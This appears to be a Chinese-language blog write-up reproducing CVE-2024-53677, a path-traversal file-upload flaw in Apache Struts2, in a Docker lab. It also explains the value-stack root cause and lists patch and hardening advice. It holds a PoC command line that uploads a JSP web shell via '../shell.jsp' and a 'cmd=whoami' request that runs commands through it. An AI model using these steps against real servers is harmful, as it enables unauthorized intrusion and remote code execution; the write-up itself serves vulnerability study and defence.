Apache Struts2 - 任意文件上传漏洞 - CVE-2024-53677

0x01:漏洞简介

Apache Struts 是美国 Apache 基金会的一个开源项目,是一套用于创建企业级 Java Web 应用的开源 MVC 框架(将软件分为模型(Model)、视图(View)和控制器(Controller)三部分)。

CVE-2024-53677 是一个在 Apache Struts 框架中发现的严重漏洞,可能允许攻击者远程执行任意代码。漏洞的根本原因是文件上传逻辑存在缺陷,攻击者可以利用该缺陷进行路径穿越和恶意文件上传。

0x02:影响范围

注:未启用 FileUploadInterceptor 组件的应用程序不受此漏洞影响。

  • 2.0.0 <= Apache Struts <= 2.3.37

  • 2.5.0 <= Apache Struts <= 2.5.33

  • 6.0.0 <= Apache Struts <= 6.3.0.2

0x03:环境搭建

环境准备

  • 靶机环境:CentOS 7 - IP 172.16.0.101

  • 攻击机环境:Kali Linux - IP 172.16.0.103

0x0301:靶机环境搭建

靶机:CentOS 7 服务器配置概览

本次靶场的搭建采用 Docker 进行搭建,CentOS 7 安装 Docker 的流程可以参考上面提供的链接。

当安装好 Docker 后,依次输入下面的命令获取 CVE-2024-53677 的实验环境:

bash 复制代码
 git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git # 拉取项目
 cd CVE-2024-53677-Docker # 进入文件夹中

然后输入下面的命令根据 Dockerfile 文件构建一个镜像(这里需要挂代理):

bash 复制代码
 # build 过程中先开代理,报错后关闭代理再 build
 docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53677 .

然后输入下面的命令,创建容器运行 CVE-2024-53677 镜像:

bash 复制代码
 docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it cve-2024-53677

运行完容器后,我们到 Kali Linux 中,访问靶机的 8080 端口,验证一下环境是否搭建成功:

如上,当看到上面的内容,就证明靶机环境启动好了,等待一会就可以进入漏洞环境了。

0x0302:攻击机环境搭建

攻击机:Kali Linux 配置概览

攻击机就不用配置啥环境了,把 CVE-2024-53677 的漏洞 POC 下载下去即可。

bash 复制代码
 # POC 用法
 python CVE-2024-53677.py -u http://172.16.0.101:8080/upload.action -filename ../shell.jsp -file shell.jsp -type s
 ​
 # -u => 文件上传点的完整的 URL
 # -filename => 我们上传后的文件在靶场中的位置
 # -file => 我们本地要上传的文件的位置
 # -type s => 代表只上传单个文件

0x04:漏洞复现

漏洞复现比较 Easy,但是这里有一个魔鬼细节,我们初始访问靶场长下面这样嘛:

我们这里需要点击 "Browse" 按钮,随机上传一个文件,来让这个靶场初始化后才可以继续漏洞的复现(笔者尝试过了,盲猜是一开始没有 upload 文件夹,必须得传入一个东西后才自动生成):

初始化靶场后,记得我们刚刚下载的那个 POC 嘛,POC 包里还有一个叫 shell.jsp 的文件,这是一个后门木马文件,待会我们就要将这个木马利用 struts2 的漏洞上传上去:

在 Kali Linux 中输入下面的命令,使用 POC 上传 shell.jsp 文件到靶场中:

bash 复制代码
 python CVE-2024-53677.py -u http://172.16.0.101:8080/upload.action -filename ../shell.jsp -file shell.jsp -type s

如上,POC 结果显示上传成功,并且返回的 img 标签中还包含了我们木马的位置,我们将这个路径拼接到靶场的 URL 中即可访问 shell.jsp 文件:

bash 复制代码
 http://172.16.0.101:8080/uploads/../shell.jsp

如上,成功访问,这个 shell.jsp 的利用方法如下,我们通过传入如下参数,即可在靶机执行任意命令:

bash 复制代码
 ?action=cmd&cmd=whoami

0x05:原理分析

Struts2 中有一个值栈的功能,"值栈" 顾名思义,是一个 "栈" 类型的数据,用来存储一些程序运行的时候需要用到的值。

在 Struts2 中,当我们访问一个 Action 的时候,它就会创建该 Action 类的实例并将它推送到值栈的顶部。比如我们文件上传的时候,访问的 upload.action,当我们访问它的时候,Struts 就会实例化它并将它放到栈的顶部。因此,通过找到栈的顶部数据,我们就能够访问到它。

同时,Struts 又把文件绑定到了 Action 中,因此,如果攻击者通过值栈顶部的数据,修改文件的属性,就可以实现控制文件名达到目录遍历的效果。(目录遍历漏洞可以让攻击者控制文件上传的地方,比如站点根目录下,此时攻击者访问恶意程序,就会导致恶意程序直接在靶机服务器中执行)

0x06:修复方案

安全更新:更新 Apache Struts 到 6.4.0 以上版本即可修复该漏洞。

下载链接:Download a Release
加固建议

  • 针对系统文件上传模块进行严格的身份认证和权限控制,避免匿名用户和未授权的访问。

  • 将文件上传目录和其他可写目录权限设置为不可执行,禁止 web 容器解析这些目录下的文件。

  • 在保存用户上传的文件时不直接使用原文件名,用随机生成的文件名替代以避免被攻击者操纵。

  • 使用对象存储或网络存储的方式,保存用户上传的文件。

  • 加强 web 应用的监控和日志记录,重点监测路径穿越和文件上传相关流量。

相关推荐
用户611881615196229 分钟前
Java基础面试题
java
DavidSoCool1 小时前
Elasticsearch Java API Client [8.17] 使用
java·大数据·elasticsearch
无世世1 小时前
【Java从入门到起飞】面向对象编程(高级)
java·开发语言
Vic101011 小时前
Mac如何查看 IDEA 的日志文件
java·macos·intellij-idea
陈逸轩*^_^*1 小时前
idea打不开,idea打不开,Error occurred during initialization of VM
java·ide·intellij-idea
=PNZ=BeijingL1 小时前
使用Mockito实现单元测试
java
yuren_xia1 小时前
在 IntelliJ IDEA(2024) 中创建 JAR 包步骤
java·intellij-idea·jar
User_芊芊君子2 小时前
【JAVA】之路启航——初识Java篇
java·开发语言